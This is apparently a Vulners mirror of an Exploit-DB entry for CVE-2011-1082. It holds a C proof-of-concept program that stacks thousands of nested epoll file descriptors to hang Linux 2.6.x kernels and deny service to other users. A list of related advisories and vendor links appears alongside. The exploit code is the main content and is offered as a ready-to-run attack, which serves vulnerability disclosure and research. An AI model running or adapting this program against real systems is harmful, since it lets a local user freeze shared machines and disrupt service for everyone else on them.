Lucene search
+L

Linux Kernel 2.6.x - fs/eventpoll.c epoll Data Structure File Descriptor Local Denial of Service

🗓️ 02 Mar 2011 00:00:00Reported by Nelson ElhageType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 46 Views

Linux Kernel 2.6.x - fs/eventpoll.c Local DoS Vulnerabilitie

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2011-1082
2 Mar 201100:00
–circl
cve
CVE
CVE-2011-1082
3 Apr 201101:00
–cve
cvelist
Cvelist
CVE-2011-1082
3 Apr 201101:00
–cvelist
oraclelinux
Oracle linux
Oracle Linux 6.1 kernel security, bug fix and enhancement update
28 May 201100:00
–oraclelinux
oraclelinux
Oracle linux
Unbreakable Enterprise kernel security fix update
23 May 201100:00
–oraclelinux
euvd
EUVD
EUVD-2011-1097
7 Oct 202500:30
–euvd
mend
Mend
CVE-2011-1082
3 Apr 201101:00
–mend
nessus
Tenable Nessus
MiracleLinux 4 : kernel-2.6.32-131.12.1.el6 (AXSA:2011-489:04)
14 Jan 202600:00
–nessus
nessus
Tenable Nessus
Oracle Linux 6 : kernel (ELSA-2011-0542)
7 Sep 202300:00
–nessus
nessus
Tenable Nessus
Oracle Linux 5 / 6 : Unbreakable Enterprise kernel (ELSA-2011-2016)
12 Jul 201300:00
–nessus
Rows per page
/*
source: https://www.securityfocus.com/bid/46630/info

The Linux Kernel epoll Subsystem is prone to multiple local denial-of-service vulnerabilities.

Successful exploits will allow attackers to cause the kernel to hang, denying service to legitimate users.
*/

#include <unistd.h>
#include <sys/epoll.h>
#include <sys/time.h>
#include <stdio.h>

#define SIZE 250

int main(void) {

	int links[SIZE];
	int links2[SIZE];
	int links3[SIZE];
	int links4[SIZE];
	int i, j;
	int ret;
	int ep1, ep2;
	struct timeval start, end;

	struct epoll_event evt = {
		.events = EPOLLIN
	};

	ep1 = epoll_create(1);
	for (i = 0; i < SIZE; i++) {
		links[i] = epoll_create(1);
		ret = epoll_ctl(ep1, EPOLL_CTL_ADD, links[i], &evt);
		if (ret)
			perror("error 1");
	}
	for (i = 0; i < SIZE; i++) {
		links2[i] = epoll_create(1);
		for (j = 0; j < SIZE; j++) {
			epoll_ctl(links[j], EPOLL_CTL_ADD, links2[i], &evt);
			if (ret)
				perror("error 2");
		}
	}
	for (i = 0; i < SIZE; i++) {
		links3[i] = epoll_create(1);
		for (j = 0; j < SIZE; j++) {
			epoll_ctl(links2[j], EPOLL_CTL_ADD, links3[i], &evt);
			if (ret)
				perror("error 3");
		}
	}
	for (i = 0; i < SIZE; i++) {
		links4[i] = epoll_create(1);
		for (j = 0; j < SIZE; j++) {
			epoll_ctl(links3[j], EPOLL_CTL_ADD, links4[i], &evt);
			if (ret)
				perror("error 4");
		}
	}

 	ep2 = epoll_create(1);
	gettimeofday(&start, NULL);
	ret = epoll_ctl(ep2, EPOLL_CTL_ADD, ep1, &evt);
	/* creates a loop */
	//ret = epoll_ctl(links4[499], EPOLL_CTL_ADD, ep1, &evt);
	if (ret)
		perror("error 5");
	gettimeofday(&end, NULL);

	printf("%ld\n", ((end.tv_sec * 1000000 + end.tv_usec)
		- (start.tv_sec * 1000000 + start.tv_usec)));

	return 0;

}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Sep 2016 00:00Current
5.1Medium risk
Vulners AI Score5.1
CVSS 24.9
EPSS0.00778
46